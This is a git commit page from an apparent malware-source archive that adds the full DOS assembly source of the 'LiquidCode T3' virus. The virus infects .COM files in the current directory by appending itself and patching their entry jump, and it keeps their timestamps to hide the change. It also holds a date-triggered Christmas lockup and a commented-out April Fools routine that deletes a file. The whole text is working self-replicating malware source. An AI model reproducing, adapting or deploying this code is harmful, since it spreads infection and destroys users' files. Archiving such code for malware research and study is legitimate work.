mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,361 @@
|
||||
;LiquidCode --- T3
|
||||
;
|
||||
; Virus
|
||||
;This version:
|
||||
;Searches current directory for non-infected com files, if any found
|
||||
;it will become infected!
|
||||
;This virus has a routine which self-destructs itself and uninfects
|
||||
;the file.
|
||||
assume cs:code
|
||||
.286
|
||||
code segment "code"
|
||||
org 0100h
|
||||
start proc
|
||||
jmp v_start ;first 5 bytes |
|
||||
nop ; |
|
||||
nop ; |
|
||||
v_start:
|
||||
call $+3 ;Actual virus
|
||||
pop dx
|
||||
sub dx, 3
|
||||
push dx ;save relocation factor in BP
|
||||
pop bp ;so virus can be copied anywhere twoards
|
||||
mov si, dx ;the end of the file
|
||||
;
|
||||
; Replace first 5 bytes in memory with original
|
||||
; program code so normal program can run later
|
||||
add si, first_five
|
||||
mov di, 0100h
|
||||
mov cx, 5
|
||||
lodsb
|
||||
stosb
|
||||
loop $-2
|
||||
;see if user want to disinfect this file
|
||||
; mov si, 82h
|
||||
; lodsb
|
||||
; cmp al, "[" ;is al the code to disinfect? "["
|
||||
; jne ok_dont_disinfect
|
||||
; jmp self_kill
|
||||
ok_dont_disinfect:
|
||||
;here should be date checks to see
|
||||
;if an evil function should be unleashed!!
|
||||
mov ah, 2ah
|
||||
int 21h
|
||||
;cx year 1980-2099
|
||||
;dh month 1-12
|
||||
;dl day
|
||||
;al day of week 0=sun 1=mon -> 7=sat
|
||||
cmp dh, 12
|
||||
jne notdec
|
||||
cmp dl, 25
|
||||
jne notdec
|
||||
jmp christmas
|
||||
notdec:
|
||||
cmp dh, 4
|
||||
jne notapril
|
||||
cmp dl, 1
|
||||
jne notapril
|
||||
; jmp aprilfools
|
||||
notapril:
|
||||
|
||||
;Set the DTA
|
||||
call set_dta
|
||||
;find first file to ?infect?
|
||||
call find_first_file
|
||||
go_again:
|
||||
mov si, bp
|
||||
add si, size_
|
||||
lodsw
|
||||
cmp ax, 5
|
||||
ja gd4
|
||||
jmp resrch
|
||||
gd4:
|
||||
call open_file
|
||||
mov bx, ax
|
||||
mov al, 0
|
||||
call date_time
|
||||
mov ah, 3fh
|
||||
mov cx, 5
|
||||
mov dx, bp
|
||||
add dx, first_five
|
||||
int 21h
|
||||
;**** mov ax, 4202h
|
||||
mov cx, 0
|
||||
mov ax, 4202h
|
||||
mov dx, cx
|
||||
int 21h
|
||||
sub ax, 3
|
||||
mov si, bp
|
||||
add si, new_5
|
||||
mov [si+1], ax
|
||||
mov si, bp
|
||||
mov di, si
|
||||
add si, chkmark
|
||||
add di, mark
|
||||
mov cx, 2
|
||||
repe cmpsb
|
||||
jne INFECT
|
||||
;File found was previously infected!
|
||||
; search for new one now.
|
||||
jmp resrch
|
||||
|
||||
wipe_name:
|
||||
push di
|
||||
push ax
|
||||
push cx
|
||||
mov di, bp
|
||||
add di, name_
|
||||
mov cx, 13
|
||||
mov al, 0
|
||||
rep stosb
|
||||
pop cx
|
||||
pop ax
|
||||
pop di
|
||||
ret
|
||||
resrch:
|
||||
call wipe_name
|
||||
mov ah, 4fh
|
||||
int 21h
|
||||
jnc gd3
|
||||
jmp term_virus
|
||||
gd3:
|
||||
jmp go_again
|
||||
INFECT:
|
||||
;Time to infect the file!!
|
||||
mov si, bp
|
||||
add si, handle
|
||||
mov bx, [si]
|
||||
mov cx, vsize
|
||||
mov dx, bp
|
||||
call wipe_name
|
||||
mov ax, 4000h
|
||||
int 21h
|
||||
mov ax, 4200h
|
||||
mov cx, 0
|
||||
mov dx, cx
|
||||
int 21h
|
||||
mov dx, bp
|
||||
add dx, new_5
|
||||
mov ax, 4000h
|
||||
mov cx, 5
|
||||
int 21h
|
||||
mov al, 1
|
||||
call date_time
|
||||
mov ax, 3e00h
|
||||
int 21h
|
||||
jmp resrch
|
||||
|
||||
fndnam proc
|
||||
mov si, env
|
||||
mov ax, [si]
|
||||
mov es, ax
|
||||
mov ds, ax
|
||||
mov si, 0
|
||||
mov di, si
|
||||
__lp:
|
||||
lodsb
|
||||
cmp al, 0
|
||||
je chknxt
|
||||
stosb
|
||||
jmp __lp
|
||||
chknxt:
|
||||
stosb
|
||||
lodsb
|
||||
cmp al, 0
|
||||
je fnd1
|
||||
stosb
|
||||
jmp __lp
|
||||
fnd1:
|
||||
stosb
|
||||
__lp2:
|
||||
lodsb
|
||||
cmp al, "a"
|
||||
jae ff_
|
||||
up2:
|
||||
cmp al, "A"
|
||||
jae fff_
|
||||
up3:
|
||||
stosb
|
||||
jmp __lp2
|
||||
ff_:
|
||||
cmp al,"z"
|
||||
jbe fnd
|
||||
jmp up2
|
||||
fff_:
|
||||
cmp al, "Z"
|
||||
jbe fnd
|
||||
jmp up3
|
||||
fnd:
|
||||
mov si, di
|
||||
mov al, 0
|
||||
repne scasb
|
||||
mov dx, si
|
||||
mov di, dx
|
||||
ret
|
||||
env equ 2ch
|
||||
fndnam endp
|
||||
|
||||
|
||||
self_kill:
|
||||
;this procedure disinfects specified files
|
||||
;SI points to the name of current file on disk
|
||||
;which is infected
|
||||
call fndnam ;find name of current file from env block in memory
|
||||
jmp gd__
|
||||
abrt:
|
||||
int 20h
|
||||
gd__:
|
||||
mov ax, 3d02h
|
||||
int 21h
|
||||
jc abrt
|
||||
mov bx, ax
|
||||
mov ax, cs
|
||||
mov ds, ax
|
||||
mov es, ax
|
||||
mov cx, 5
|
||||
mov dx, bp
|
||||
add dx, first_five
|
||||
call wipe_name
|
||||
mov ax, 4000h
|
||||
int 21h
|
||||
jc abrt
|
||||
mov dx, 0
|
||||
mov cx, 0
|
||||
mov ax, 4202h
|
||||
int 21h
|
||||
jnc gd__1
|
||||
jmp abrt
|
||||
gd__1:
|
||||
sub ax, vsize
|
||||
mov dx, ax
|
||||
mov cx, 0
|
||||
mov ax, 4200h
|
||||
int 21h
|
||||
call wipe_name
|
||||
mov cx, 0
|
||||
mov ax, 4000h
|
||||
int 21h
|
||||
mov ax, 3e00h
|
||||
int 21h
|
||||
jmp term_virus
|
||||
date_time:
|
||||
pusha
|
||||
mov ah, 57h
|
||||
cmp al, 0
|
||||
je fnd__$
|
||||
mov di, bp
|
||||
mov si, di
|
||||
add di, date
|
||||
add si, time
|
||||
mov dx, [di]
|
||||
mov cx, [si]
|
||||
int 21h
|
||||
jmp ret__
|
||||
fnd__$:
|
||||
int 21h
|
||||
mov si, bp
|
||||
mov di, bp
|
||||
add si, time
|
||||
add di, date
|
||||
mov [si], cx
|
||||
mov [di], dx
|
||||
ret__:
|
||||
popa
|
||||
ret
|
||||
open_file:
|
||||
mov dx, bp
|
||||
add dx, name_
|
||||
mov ax, 3d02h
|
||||
int 21h
|
||||
jnc gd2
|
||||
jmp term_virus
|
||||
gd2:
|
||||
mov si, bp
|
||||
add si, handle
|
||||
mov [si], ax
|
||||
ret
|
||||
find_first_file:
|
||||
mov dx, bp
|
||||
mov cx, 0
|
||||
mov ah, 4eh
|
||||
add dx, all_com_files
|
||||
int 21h
|
||||
jnc gd1
|
||||
jmp term_virus
|
||||
gd1:
|
||||
ret
|
||||
set_dta:
|
||||
mov dx, bp
|
||||
mov ah, 1ah
|
||||
add dx, dta
|
||||
int 21h
|
||||
ret
|
||||
term_virus:
|
||||
mov ax, 0
|
||||
mov bx, ax
|
||||
mov cx, bx
|
||||
mov dx, cx
|
||||
mov si, 0100h
|
||||
mov di, -1
|
||||
mov bp, di
|
||||
push 0100h
|
||||
ret
|
||||
|
||||
CHRISTMAS:
|
||||
;Program Lockup
|
||||
; Exit without running program
|
||||
int 20h
|
||||
;APRILFOOLS:
|
||||
;Ha Ha delete current file
|
||||
; call fndnam
|
||||
; mov ah, 41h
|
||||
; int 21h
|
||||
; mov ax, cs
|
||||
; mov ds, ax
|
||||
; mov es, ax
|
||||
; jmp term_virus
|
||||
; Data Bank
|
||||
_fstfive:
|
||||
int 20h
|
||||
nop
|
||||
ckmrk:
|
||||
nop
|
||||
nop
|
||||
acf db "*.COM",0
|
||||
dt_ dw 0
|
||||
tme dw 0
|
||||
d_t_a:
|
||||
rfd db 21 dup (0)
|
||||
att db 0
|
||||
dw 0
|
||||
dw 0
|
||||
sz dd 0
|
||||
n_me db 13 dup (0),0
|
||||
handl dw 0
|
||||
nw_5 db 0e9h,0,0
|
||||
mrk db "<T3> "
|
||||
strain db "<tm>LiquidCode 92"
|
||||
;
|
||||
end___:
|
||||
first_five = offset _fstfive-0105h
|
||||
all_com_files = offset acf-0105h
|
||||
dta = offset d_t_a-0105h
|
||||
attribute = offset att-0105h
|
||||
time = offset tme-0105h
|
||||
date = offset dt_-0105h
|
||||
size_ = offset sz-0105h
|
||||
name_ = offset n_me-0105h
|
||||
handle = offset handl-0105h
|
||||
new_5 = offset nw_5-0105h
|
||||
mark = offset mrk-0105h
|
||||
chkmark = offset ckmrk-0105h
|
||||
vsize = offset end___-0105h
|
||||
start endp
|
||||
code ends
|
||||
end start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
Reference in New Issue
Block a user